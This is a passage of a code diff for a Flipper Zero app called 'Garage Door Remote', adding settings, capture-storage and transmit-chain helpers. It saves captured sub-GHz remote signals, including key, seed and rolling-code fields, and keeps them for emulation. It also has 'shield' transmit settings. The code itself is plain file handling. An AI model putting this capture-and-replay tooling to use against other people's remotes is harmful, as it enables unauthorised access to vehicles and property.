+    settings->emulate_feature_enabled = false;
+    settings->dual_freq_a = 433920000;
+    settings->dual_freq_b = 433920000;
+    settings->dual_preset_a = 0xFF;
+    settings->dual_preset_b = 0xFF;
+    settings->dual_preset_name_a[0] = '\0';
+    settings->dual_preset_name_b[0] = '\0';
+    settings->shield_freq = 433920000;
+    settings->shield_preset_index = 0;
+    settings->shield_tx_offset_index = 3;
+    settings->shield_tx_power = 0;
+}
+
+void gdr_settings_load(GDRSettings* settings) {
+    // Set defaults first
+    gdr_settings_set_defaults(settings);
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FlipperFormat* ff = flipper_format_file_alloc(storage);
+
+    do {
+        if(!flipper_format_file_open_existing(ff, GDR_SETTINGS_FILE)) {
+            FURI_LOG_I(TAG, "Settings file not found, using defaults");
+            break;
+        }
+
+        FuriString* header = furi_string_alloc();
+        uint32_t version = 0;
+
+        if(!flipper_format_read_header(ff, header, &version)) {
+            FURI_LOG_W(TAG, "Failed to read settings header");
+            furi_string_free(header);
+            break;
+        }
+
+        if(version != SETTINGS_FILE_VERSION) {
+            FURI_LOG_W(TAG, "Unsupported settings version %lu", (unsigned long)version);
+            furi_string_free(header);
+            break;
+        }
+
+        if(furi_string_cmp_str(header, SETTINGS_FILE_HEADER) != 0) {
+            FURI_LOG_W(TAG, "Invalid settings file header");
+            furi_string_free(header);
+            break;
+        }
+
+        furi_string_free(header);
+
+        // Read frequency
+        if(!flipper_format_read_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
+            FURI_LOG_W(TAG, "Failed to read frequency, using default");
+            settings->frequency = 433920000;
+        }
+
+        // Read preset index
+        uint32_t preset_temp = 0;
+        if(!flipper_format_read_uint32(ff, "PresetIndex", &preset_temp, 1)) {
+            FURI_LOG_W(TAG, "Failed to read preset index, using default");
+            preset_temp = 0;
+        }
+        settings->preset_index = (uint8_t)preset_temp;
+
+        // Read auto-save
+        uint32_t auto_save_temp = 0;
+        if(!flipper_format_read_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
+            FURI_LOG_W(TAG, "Failed to read auto-save, using default");
+            auto_save_temp = 0;
+        }
+        settings->auto_save = (auto_save_temp == 1);
+
+        // Read tx-power
+        uint32_t tx_power_temp = 0;
+        if(!flipper_format_read_uint32(ff, "TXPower", &tx_power_temp, 1)) {
+            FURI_LOG_W(TAG, "Failed to read TXPower, using default");
+            tx_power_temp = 0;
+        }
+        settings->tx_power = (uint8_t)tx_power_temp;
+
+        // Read hopping
+        uint32_t hopping_temp = 0;
+        if(!flipper_format_read_uint32(ff, "Hopping", &hopping_temp, 1)) {
+            FURI_LOG_W(TAG, "Failed to read hopping, using default");
+            hopping_temp = 0;
+        }
+        settings->hopping_enabled = (hopping_temp == 1);
+
+        uint32_t emulate_temp = 0;
+        if(!flipper_format_read_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
+            FURI_LOG_I(TAG, "EmulateFeature key missing, defaulting to disabled");
+            emulate_temp = 0;
+        }
+        settings->emulate_feature_enabled = (emulate_temp == 1);
+
+        flipper_format_rewind(ff);
+        flipper_format_read_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
+        flipper_format_rewind(ff);
+        flipper_format_read_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
+        uint32_t dual_preset_temp = 0;
+        flipper_format_rewind(ff);
+        if(flipper_format_read_uint32(ff, "DualPresetA", &dual_preset_temp, 1)) {
+            settings->dual_preset_a = (uint8_t)dual_preset_temp;
+        }
+        dual_preset_temp = 0;
+        flipper_format_rewind(ff);
+        if(flipper_format_read_uint32(ff, "DualPresetB", &dual_preset_temp, 1)) {
+            settings->dual_preset_b = (uint8_t)dual_preset_temp;
+        }
+        FuriString* preset_name = furi_string_alloc();
+        flipper_format_rewind(ff);
+        if(flipper_format_read_string(ff, "DualPresetNameA", preset_name)) {
+            snprintf(
+                settings->dual_preset_name_a,
+                sizeof(settings->dual_preset_name_a),
+                "%s",
+                furi_string_get_cstr(preset_name));
+        }
+        flipper_format_rewind(ff);
+        if(flipper_format_read_string(ff, "DualPresetNameB", preset_name)) {
+            snprintf(
+                settings->dual_preset_name_b,
+                sizeof(settings->dual_preset_name_b),
+                "%s",
+                furi_string_get_cstr(preset_name));
+        }
+        furi_string_free(preset_name);
+
+        flipper_format_rewind(ff);
+        flipper_format_read_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
+        dual_preset_temp = 0;
+        flipper_format_rewind(ff);
+        if(flipper_format_read_uint32(ff, "ShieldPreset", &dual_preset_temp, 1)) {
+            settings->shield_preset_index = (uint8_t)dual_preset_temp;
+        }
+        dual_preset_temp = 0;
+        flipper_format_rewind(ff);
+        if(flipper_format_read_uint32(ff, "ShieldTxOffset", &dual_preset_temp, 1)) {
+            settings->shield_tx_offset_index = (uint8_t)dual_preset_temp;
+        }
+        dual_preset_temp = 0;
+        flipper_format_rewind(ff);
+        if(flipper_format_read_uint32(ff, "ShieldTxPower", &dual_preset_temp, 1)) {
+            settings->shield_tx_power = (uint8_t)dual_preset_temp;
+        }
+        FURI_LOG_I(
+            TAG,
+            "Settings loaded: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
+            settings->frequency,
+            settings->preset_index,
+            settings->auto_save,
+            settings->hopping_enabled,
+            settings->emulate_feature_enabled);
+
+    } while(false);
+
+    flipper_format_free(ff);
+    furi_record_close(RECORD_STORAGE);
+}
+
+void gdr_settings_save(GDRSettings* settings) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    // Ensure directory exists
+    storage_simply_mkdir(storage, GDR_SETTINGS_DIR);
+
+    FlipperFormat* ff = flipper_format_file_alloc(storage);
+
+    do {
+        if(!flipper_format_file_open_always(ff, GDR_SETTINGS_FILE)) {
+            FURI_LOG_E(TAG, "Failed to open settings file for writing");
+            break;
+        }
+
+        if(!flipper_format_write_header_cstr(ff, SETTINGS_FILE_HEADER, SETTINGS_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Failed to write settings header");
+            break;
+        }
+
+        if(!flipper_format_write_uint32(ff, FF_FREQUENCY, &settings->frequency, 1)) {
+            FURI_LOG_E(TAG, "Failed to write frequency");
+            break;
+        }
+
+        uint32_t preset_temp = settings->preset_index;
+        if(!flipper_format_write_uint32(ff, "PresetIndex", &preset_temp, 1)) {
+            FURI_LOG_E(TAG, "Failed to write preset index");
+            break;
+        }
+
+        uint32_t auto_save_temp = settings->auto_save ? 1 : 0;
+        if(!flipper_format_write_uint32(ff, "AutoSave", &auto_save_temp, 1)) {
+            FURI_LOG_E(TAG, "Failed to write auto-save");
+            break;
+        }
+
+        uint32_t tx_power_temp = settings->tx_power;
+        if(!flipper_format_write_uint32(ff, "TXPower", &tx_power_temp, 1)) {
+            FURI_LOG_E(TAG, "Failed to write TX Power");
+            break;
+        }
+
+        uint32_t hopping_temp = settings->hopping_enabled ? 1 : 0;
+        if(!flipper_format_write_uint32(ff, "Hopping", &hopping_temp, 1)) {
+            FURI_LOG_E(TAG, "Failed to write hopping");
+            break;
+        }
+
+        uint32_t emulate_temp = settings->emulate_feature_enabled ? 1 : 0;
+        if(!flipper_format_write_uint32(ff, "EmulateFeature", &emulate_temp, 1)) {
+            FURI_LOG_E(TAG, "Failed to write emulate feature flag");
+            break;
+        }
+
+        flipper_format_write_uint32(ff, "DualFreqA", &settings->dual_freq_a, 1);
+        flipper_format_write_uint32(ff, "DualFreqB", &settings->dual_freq_b, 1);
+        uint32_t dual_preset_a_temp = settings->dual_preset_a;
+        flipper_format_write_uint32(ff, "DualPresetA", &dual_preset_a_temp, 1);
+        uint32_t dual_preset_b_temp = settings->dual_preset_b;
+        flipper_format_write_uint32(ff, "DualPresetB", &dual_preset_b_temp, 1);
+        flipper_format_write_string_cstr(
+            ff, "DualPresetNameA", settings->dual_preset_name_a);
+        flipper_format_write_string_cstr(
+            ff, "DualPresetNameB", settings->dual_preset_name_b);
+        flipper_format_write_uint32(ff, "ShieldFreq", &settings->shield_freq, 1);
+        uint32_t shield_preset_temp = settings->shield_preset_index;
+        flipper_format_write_uint32(ff, "ShieldPreset", &shield_preset_temp, 1);
+        uint32_t shield_offset_temp = settings->shield_tx_offset_index;
+        flipper_format_write_uint32(ff, "ShieldTxOffset", &shield_offset_temp, 1);
+        uint32_t shield_power_temp = settings->shield_tx_power;
+        flipper_format_write_uint32(ff, "ShieldTxPower", &shield_power_temp, 1);
+        FURI_LOG_I(
+            TAG,
+            "Settings saved: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
+            settings->frequency,
+            settings->preset_index,
+            settings->auto_save,
+            settings->hopping_enabled,
+            settings->emulate_feature_enabled);
+
+    } while(false);
+
+    flipper_format_free(ff);
+    furi_record_close(RECORD_STORAGE);
+}

applications/system/Garage Door Remote/helpers/gdr_settings.h

@@ -0,0 +1,32 @@
+// helpers/gdr_settings.h
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#define GDR_SETTINGS_FILE APP_DATA_PATH("settings.txt")
+#define GDR_SETTINGS_DIR  APP_DATA_PATH()
+#define GDR_PRESET_NAME_MAX 64U
+
+typedef struct {
+    uint32_t frequency;
+    uint8_t preset_index;
+    uint8_t tx_power;
+    bool auto_save;
+    bool hopping_enabled;
+    bool emulate_feature_enabled;
+    uint32_t dual_freq_a;
+    uint32_t dual_freq_b;
+    uint8_t dual_preset_a;
+    uint8_t dual_preset_b;
+    char dual_preset_name_a[GDR_PRESET_NAME_MAX];
+    char dual_preset_name_b[GDR_PRESET_NAME_MAX];
+    uint32_t shield_freq;
+    uint8_t shield_preset_index;
+    uint8_t shield_tx_offset_index;
+    uint8_t shield_tx_power;
+} GDRSettings;
+
+void gdr_settings_load(GDRSettings* settings);
+void gdr_settings_save(GDRSettings* settings);
+void gdr_settings_set_defaults(GDRSettings* settings);

applications/system/Garage Door Remote/helpers/gdr_storage.c

@@ -0,0 +1,558 @@
+// helpers/gdr_storage.c
+#include "gdr_storage.h"
+#include "../defines.h"
+#include "../protocols/protocols_common.h"
+
+#define TAG "GDRStorage"
+
+bool gdr_storage_init(void) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    bool result = storage_simply_mkdir(storage, GDR_APP_FOLDER);
+    furi_record_close(RECORD_STORAGE);
+    return result;
+}
+
+void gdr_storage_wipe_history_cache(void) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
+        storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
+        FURI_LOG_I(TAG, "Wiped history cache");
+    }
+    furi_record_close(RECORD_STORAGE);
+}
+
+void gdr_storage_purge_temp_history_at_startup(void) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    if(storage_dir_exists(storage, GDR_HISTORY_FOLDER)) {
+        storage_simply_remove_recursive(storage, GDR_HISTORY_FOLDER);
+    }
+    furi_record_close(RECORD_STORAGE);
+}
+
+bool gdr_storage_ensure_history_folder(void) {
+    if(!gdr_storage_init()) {
+        return false;
+    }
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    storage_simply_mkdir(storage, GDR_CACHE_FOLDER);
+    bool ok = storage_simply_mkdir(storage, GDR_HISTORY_FOLDER);
+    furi_record_close(RECORD_STORAGE);
+    return ok;
+}
+
+void gdr_storage_build_history_path(uint32_t seq, FuriString* out) {
+    furi_check(out);
+    furi_string_printf(
+        out,
+        "%s/hist_%08lu%s",
+        GDR_HISTORY_FOLDER,
+        (unsigned long)seq,
+        GDR_APP_EXTENSION);
+}
+
+bool gdr_storage_save_history_capture(
+    FlipperFormat* flipper_format,
+    uint32_t seq,
+    FuriString* out_path) {
+    furi_check(flipper_format);
+    furi_check(out_path);
+
+    if(!gdr_storage_ensure_history_folder()) {
+        FURI_LOG_E(TAG, "History folder missing");
+        return false;
+    }
+
+    gdr_storage_build_history_path(seq, out_path);
+
+    return gdr_storage_save_capture_to_path(
+        flipper_format, furi_string_get_cstr(out_path));
+}
+
+static void sanitize_filename(const char* input, char* output, size_t output_size) {
+    if(!output || output_size == 0) return;
+    if(!input) {
+        output[0] = '\0';
+        return;
+    }
+    size_t i = 0;
+    size_t j = 0;
+    while(input[i] != '\0' && j < output_size - 1) {
+        char c = input[i];
+        if(c == '/' || c == '\\' || c == ':' || c == '*' || c == '?' || c == '"' || c == '<' ||
+           c == '>' || c == '|' || c == ' ') {
+            output[j] = '_';
+        } else {
+            output[j] = c;
+        }
+        i++;
+        j++;
+    }
+    output[j] = '\0';
+}
+
+bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename) {
+    if(!protocol_name || !out_filename) return false;
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FuriString* temp_path = furi_string_alloc();
+    uint32_t index = 0;
+    bool found = false;
+
+    char safe_name[64];
+    sanitize_filename(protocol_name, safe_name, sizeof(safe_name));
+
+    while(!found && index <= 999) {
+        furi_string_printf(
+            temp_path,
+            "%s/%s_%03lu%s",
+            GDR_APP_FOLDER,
+            safe_name,
+            (unsigned long)index,
+            GDR_APP_EXTENSION);
+
+        if(!storage_file_exists(storage, furi_string_get_cstr(temp_path))) {
+            furi_string_set(out_filename, temp_path);
+            found = true;
+        } else {
+            index++;
+        }
+    }
+
+    furi_string_free(temp_path);
+    furi_record_close(RECORD_STORAGE);
+    return found;
+}
+
+static const char* const gdr_storage_base_u32_fields[] = {
+    "TE",
+    FF_SERIAL,
+    FF_BTN,
+    "BtnSig",
+    FF_CNT,
+    "Extra",
+    "ExtraBit",
+    "Extra_bits",
+    "Tail",
+    "Checksum",
+    "CRC",
+    FF_TYPE,
+};
+
+static const char* const gdr_storage_tail_u32_fields[] = {
+    "DataHi",
+    "DataLo",
+    "RawCnt",
+    "Encrypted",
+    "Decrypted",
+    "KIAVersion",
+    "Checksum",
+};
+
+static bool gdr_storage_fail(const char* action, const char* key) {
+    UNUSED(action);
+    UNUSED(key);
+    FURI_LOG_E(TAG, "%s failed: %s", action, key);
+    return false;
+}
+
+static bool
+    gdr_storage_get_count(FlipperFormat* flipper_format, const char* key, uint32_t* count) {
+    *count = 0;
+    flipper_format_rewind(flipper_format);
+    return flipper_format_get_value_count(flipper_format, key, count) && (*count > 0);
+}
+
+static bool gdr_storage_copy_string_optional(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    FuriString* value) {
+    flipper_format_rewind(flipper_format);
+    if(!flipper_format_read_string(flipper_format, key, value)) {
+        return true;
+    }
+    if(!flipper_format_write_string(save_file, key, value)) {
+        return gdr_storage_fail("Write", key);
+    }
+    return true;
+}
+
+static bool gdr_storage_copy_string_if_present(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    FuriString* value) {
+    uint32_t count = 0;
+    if(!gdr_storage_get_count(flipper_format, key, &count)) {
+        return true;
+    }
+    if(!flipper_format_read_string(flipper_format, key, value)) {
+        return gdr_storage_fail("Read", key);
+    }
+    if(!flipper_format_write_string(save_file, key, value)) {
+        return gdr_storage_fail("Write", key);
+    }
+    return true;
+}
+
+static bool gdr_storage_copy_u32_optional(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key) {
+    uint32_t value = 0;
+    flipper_format_rewind(flipper_format);
+    if(!flipper_format_read_uint32(flipper_format, key, &value, 1)) {
+        return true;
+    }
+    if(!flipper_format_write_uint32(save_file, key, &value, 1)) {
+        return gdr_storage_fail("Write", key);
+    }
+    return true;
+}
+
+static bool gdr_storage_copy_u32_fields(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* const* fields,
+    size_t field_count) {
+    for(size_t i = 0; i < field_count; i++) {
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, fields[i])) {
+            return false;
+        }
+    }
+    return true;
+}
+
+static bool gdr_storage_copy_hex_fixed(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    size_t len,
+    bool* copied) {
+    uint8_t data[8];
+    furi_check(len <= sizeof(data));
+    if(copied) {
+        *copied = false;
+    }
+
+    flipper_format_rewind(flipper_format);
+    if(!flipper_format_read_hex(flipper_format, key, data, len)) {
+        return true;
+    }
+    if(copied) {
+        *copied = true;
+    }
+    if(!flipper_format_write_hex(save_file, key, data, len)) {
+        return gdr_storage_fail("Write", key);
+    }
+    return true;
+}
+
+static bool gdr_storage_copy_u32_array(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    uint32_t count,
+    uint32_t max_count) {
+    if(count >= max_count) {
+        FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
+        return false;
+    }
+
+    uint32_t* data = malloc(sizeof(uint32_t) * count);
+    if(!data) {
+        FURI_LOG_E(TAG, "Malloc failed: %s (%lu u32)", key, (unsigned long)count);
+        return false;
+    }
+
+    bool status = false;
+    flipper_format_rewind(flipper_format);
+    if(!flipper_format_read_uint32(flipper_format, key, data, count)) {
+        gdr_storage_fail("Read", key);
+    } else if(!flipper_format_write_uint32(save_file, key, data, count)) {
+        gdr_storage_fail("Write", key);
+    } else {
+        status = true;
+    }
+
+    free(data);
+    return status;
+}
+
+static bool gdr_storage_copy_u32_array_if_present(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    uint32_t max_count) {
+    uint32_t count = 0;
+    if(!gdr_storage_get_count(flipper_format, key, &count)) {
+        return true;
+    }
+    return gdr_storage_copy_u32_array(save_file, flipper_format, key, count, max_count);
+}
+
+static bool gdr_storage_copy_hex_array_if_present(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    uint32_t max_count) {
+    uint32_t count = 0;
+    if(!gdr_storage_get_count(flipper_format, key, &count)) {
+        return true;
+    }
+    if(count >= max_count) {
+        FURI_LOG_E(TAG, "%s too large: %lu", key, (unsigned long)count);
+        return false;
+    }
+
+    uint8_t* data = malloc(count);
+    if(!data) {
+        FURI_LOG_E(TAG, "Malloc failed: %s (%lu bytes)", key, (unsigned long)count);
+        return false;
+    }
+
+    bool status = false;
+    flipper_format_rewind(flipper_format);
+    if(!flipper_format_read_hex(flipper_format, key, data, count)) {
+        gdr_storage_fail("Read", key);
+    } else if(!flipper_format_write_hex(save_file, key, data, count)) {
+        gdr_storage_fail("Write", key);
+    } else {
+        status = true;
+    }
+
+    free(data);
+    return status;
+}
+
+static bool gdr_storage_copy_key(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    FuriString* value) {
+    uint32_t count = 0;
+
+    flipper_format_rewind(flipper_format);
+    if(flipper_format_read_string(flipper_format, FF_KEY, value)) {
+        if(!flipper_format_write_string(save_file, FF_KEY, value)) {
+            return gdr_storage_fail("Write", FF_KEY);
+        }
+        return true;
+    }
+
+    if(gdr_storage_get_count(flipper_format, FF_KEY, &count)) {
+        return gdr_storage_copy_u32_array(save_file, flipper_format, FF_KEY, count, 1024);
+    }
+
+    return gdr_storage_copy_hex_fixed(save_file, flipper_format, FF_KEY, 8, NULL);
+}
+
+static bool gdr_storage_copy_hex_or_u32(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    const char* key,
+    size_t hex_len) {
+    bool copied = false;
+    if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, key, hex_len, &copied)) {
+        return false;
+    }
+    return copied || gdr_storage_copy_u32_optional(save_file, flipper_format, key);
+}
+
+static bool gdr_storage_copy_key_2(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format,
+    FuriString* value) {
+    bool copied = false;
+    if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key_2", 8, &copied)) {
+        return false;
+    }
+    if(copied) {
+        return true;
+    }
+    return gdr_storage_copy_string_optional(save_file, flipper_format, "Key_2", value) &&
+           gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_2");
+}
+
+static bool gdr_storage_write_capture_data(
+    FlipperFormat* save_file,
+    FlipperFormat* flipper_format) {
+    furi_check(save_file);
+    furi_check(flipper_format);
+
+    FuriString* string_value = furi_string_alloc();
+    if(!string_value) {
+        FURI_LOG_E(TAG, "Failed to alloc string_value");
+        return false;
+    }
+
+    bool status = false;
+    do {
+        if(!gdr_storage_copy_string_optional(
+               save_file, flipper_format, FF_PROTOCOL, string_value))
+            break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_BIT)) break;
+        if(!gdr_storage_copy_key(save_file, flipper_format, string_value)) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, FF_FREQUENCY)) break;
+        if(!gdr_storage_copy_string_optional(
+               save_file, flipper_format, FF_PRESET, string_value))
+            break;
+        if(!gdr_storage_copy_string_optional(
+               save_file, flipper_format, "RadioDevice", string_value))
+            break;
+        if(!gdr_storage_copy_string_if_present(
+               save_file, flipper_format, "Custom_preset_module", string_value))
+            break;
+        if(!gdr_storage_copy_hex_array_if_present(
+               save_file, flipper_format, "Custom_preset_data", 1024))
+            break;
+        if(!gdr_storage_copy_u32_fields(
+               save_file,
+               flipper_format,
+               gdr_storage_base_u32_fields,
+               COUNT_OF(gdr_storage_base_u32_fields)))
+            break;
+        if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key2", 8, NULL)) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "KeyIdx")) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Seed")) break;
+        if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "ValidationField", 2))
+            break;
+        if(!gdr_storage_copy_key_2(save_file, flipper_format, string_value)) break;
+        if(!gdr_storage_copy_hex_or_u32(save_file, flipper_format, "Key_3", 4)) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Key_4")) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Fx")) break;
+        if(!gdr_storage_copy_hex_fixed(save_file, flipper_format, "Key1", 8, NULL)) break;
+        if(!gdr_storage_copy_u32_optional(save_file, flipper_format, "Check")) break;
+        if(!gdr_storage_copy_u32_array_if_present(
+               save_file, flipper_format, "RAW_Data", 4096))
+            break;
+        if(!gdr_storage_copy_u32_fields(
+               save_file,
+               flipper_format,
+               gdr_storage_tail_u32_fields,
+               COUNT_OF(gdr_storage_tail_u32_fields)))
+            break;
+        if(!gdr_storage_copy_string_optional(
+               save_file, flipper_format, FF_MANUFACTURE, string_value))
+            break;
+        status = true;
+    } while(false);
+
+    furi_string_free(string_value);
+
+    return status;
+}
+
+bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path) {
+    furi_check(flipper_format);
+    furi_check(full_path);
+
+    if(!gdr_storage_init()) {
+        FURI_LOG_E(TAG, "Failed to create app folder");
+        return false;
+    }
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FlipperFormat* save_file = flipper_format_file_alloc(storage);
+    bool result = false;
+
+    do {
+        // Remove if it already exists (overwrite)
+        if(storage_file_exists(storage, full_path)) {
+            storage_simply_remove(storage, full_path);
+        }
+
+        if(!flipper_format_file_open_new(save_file, full_path)) {
+            FURI_LOG_E(TAG, "Failed to create file: %s", full_path);
+            break;
+        }
+
+        if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
+            FURI_LOG_E(TAG, "Failed to write header");
+            break;
+        }
+
+        if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
+            FURI_LOG_E(TAG, "Failed to write capture data");
+            break;
+        }
+
+        result = true;
+        FURI_LOG_I(TAG, "Saved capture to %s", full_path);
+
+    } while(false);
+
+    flipper_format_free(save_file);
+    furi_record_close(RECORD_STORAGE);
+    return result;
+}
+
+void gdr_storage_delete_temp(void) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    if(storage_file_exists(storage, GDR_TEMP_FILE)) {
+        storage_simply_remove(storage, GDR_TEMP_FILE);
+        FURI_LOG_I(TAG, "Deleted temp file");
+    }
+    furi_record_close(RECORD_STORAGE);
+}
+
+bool gdr_storage_save_capture(
+    FlipperFormat* flipper_format,
+    const char* protocol_name,
+    FuriString* out_path) {
+    furi_check(flipper_format);
+    furi_check(protocol_name);
+    furi_check(out_path);
+
+    if(!gdr_storage_init()) {
+        FURI_LOG_E(TAG, "Failed to create app folder");
+        return false;
+    }
+
+    FuriString* file_path = furi_string_alloc();
+
+    if(!gdr_storage_get_next_filename(protocol_name, file_path)) {
+        FURI_LOG_E(TAG, "Failed to get next filename");
+        furi_string_free(file_path);
+        return false;
+    }
+
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FlipperFormat* save_file = flipper_format_file_alloc(storage);
+    bool result = false;
+
+    do {
+        if(!flipper_format_file_open_new(save_file, furi_string_get_cstr(file_path))) {
+            FURI_LOG_E(TAG, "Failed to create file");
+            break;
+        }
+
+        if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
+            FURI_LOG_E(TAG, "Failed to write header");
+            break;
+        }
+
+        if(!gdr_storage_write_capture_data(save_file, flipper_format)) {
+            FURI_LOG_E(TAG, "Failed to write capture data");
+            break;
+        }
+
+        if(out_path) furi_string_set(out_path, file_path);
+
+        result = true;
+        FURI_LOG_I(TAG, "Saved capture to %s", furi_string_get_cstr(file_path));
+
+    } while(false);
+
+    flipper_format_free(save_file);
+    furi_string_free(file_path);
+    furi_record_close(RECORD_STORAGE);
+    return result;
+}
+
+bool gdr_storage_delete_file(const char* file_path) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    bool result = storage_simply_remove(storage, file_path);
+    furi_record_close(RECORD_STORAGE);
+
+    FURI_LOG_I(TAG, "Delete file %s: %s", file_path, result ? "OK" : "FAILED");
+    return result;
+}

applications/system/Garage Door Remote/helpers/gdr_storage.h

@@ -0,0 +1,59 @@
+// helpers/gdr_storage.h
+#pragma once
+
+#include <furi.h>
+#include <storage/storage.h>
+#include <flipper_format/flipper_format.h>
+
+#define GDR_APP_FOLDER       APP_DATA_PATH("saved")
+#define GDR_APP_EXTENSION    ".psf"
+#define GDR_APP_FILE_VERSION 1
+#define GDR_TEMP_FILE        APP_DATA_PATH("saved/.temp.psf")
+#define GDR_CACHE_FOLDER     APP_DATA_PATH("cache")
+#define GDR_HISTORY_FOLDER   APP_DATA_PATH("cache/history")
+
+// Initialize storage (create folder if needed)
+bool gdr_storage_init(void);
+
+// Save a capture to a new file (auto-generated name)
+bool gdr_storage_save_capture(
+    FlipperFormat* flipper_format,
+    const char* protocol_name,
+    FuriString* out_path);
+
+// Save a capture to a specific file path (user-chosen name)
+bool gdr_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path);
+
+// Save to temp file for emulation
+bool gdr_storage_save_temp(FlipperFormat* flipper_format);
+
+// Delete temp file
+void gdr_storage_delete_temp(void);
+
+// Get next available filename for a protocol
+bool gdr_storage_get_next_filename(const char* protocol_name, FuriString* out_filename);
+
+// Delete a file
+bool gdr_storage_delete_file(const char* file_path);
+
+// Load a file (caller must close with gdr_storage_close_file)
+FlipperFormat* gdr_storage_load_file(const char* file_path);
+
+// Close a loaded file (by gdr_storage_load_file only)
+void gdr_storage_close_file(FlipperFormat* flipper_format);
+
+// Check if file exists
+bool gdr_storage_file_exists(const char* file_path);
+
+bool gdr_storage_ensure_history_folder(void);
+
+void gdr_storage_purge_temp_history_at_startup(void);
+
+void gdr_storage_wipe_history_cache(void);
+
+bool gdr_storage_save_history_capture(
+    FlipperFormat* flipper_format,
+    uint32_t seq,
+    FuriString* out_path);
+
+void gdr_storage_build_history_path(uint32_t seq, FuriString* out);

applications/system/Garage Door Remote/helpers/gdr_tx_chain.c

@@ -0,0 +1,273 @@
+// helpers/gdr_tx_chain.c
+#include "gdr_tx_chain.h"
+
+#ifdef ENABLE_SHIELD_RX_SCENE
+
+#include <furi.h>
+#include <string.h>
+
+#define TAG "GDRTxChain"
+
+#define GDR_TX_CARRIER_PRESET      "AM650"
+#define GDR_TX_POWER_COUNT         9U
+#define GDR_TX_PRESET_VALUES_AM    8U
+#define GDR_TX_PRESET_VALUES_COUNT 17U
+
+static const uint8_t gdr_tx_power_value[GDR_TX_PRESET_VALUES_COUNT] = {
+    0,
+    0xC0,
+    0xC8,
+    0x84,
+    0x60,
+    0x34,
+    0x1D,
+    0x0E,
+    0x12,
+    0xC0,
+    0xCD,
+    0x86,
+    0x50,
+    0x26,
+    0x1D,
+    0x17,
+    0x03,
+};
+
+static size_t
+    gdr_tx_chain_get_pa_table_offset(const uint8_t* preset_data, size_t preset_size) {
+    size_t offset = 0;
+    while((offset + 1U) < preset_size) {
+        if(preset_data[offset] == 0U) {
+            return (offset + 2U) < preset_size ? offset + 2U : 0U;
+        }
+        offset += 2U;
+    }
+    return 0U;
+}
+
+static void gdr_tx_chain_apply_tx_power(
+    uint8_t* preset_data,
+    size_t preset_size,
+    uint8_t tx_power) {
+    if(!tx_power || tx_power >= GDR_TX_POWER_COUNT) {
+        return;
+    }
+
+    const size_t pa_offset = gdr_tx_chain_get_pa_table_offset(preset_data, preset_size);
+    if(!pa_offset) {
+        return;
+    }
+
+    const uint8_t fm_byte = preset_data[pa_offset];
+    const uint8_t am_byte = preset_data[pa_offset + 1U];
+
+    if(fm_byte && am_byte) {
+        return;
+    }
+    if(fm_byte) {
+        preset_data[pa_offset] = gdr_tx_power_value[tx_power];
+    } else if(am_byte) {
+        preset_data[pa_offset + 1U] =
+            gdr_tx_power_value[GDR_TX_PRESET_VALUES_AM + tx_power];
+    }
+}
+
+static uint8_t*
+    gdr_tx_chain_copy_preset(const uint8_t* src, size_t src_size, size_t* out_size) {
+    if(!src || !src_size || !out_size) {
+        return NULL;
+    }
+
+    uint8_t* copy = malloc(src_size);
+    if(!copy) {
+        return NULL;
+    }
+
+    memcpy(copy, src, src_size);
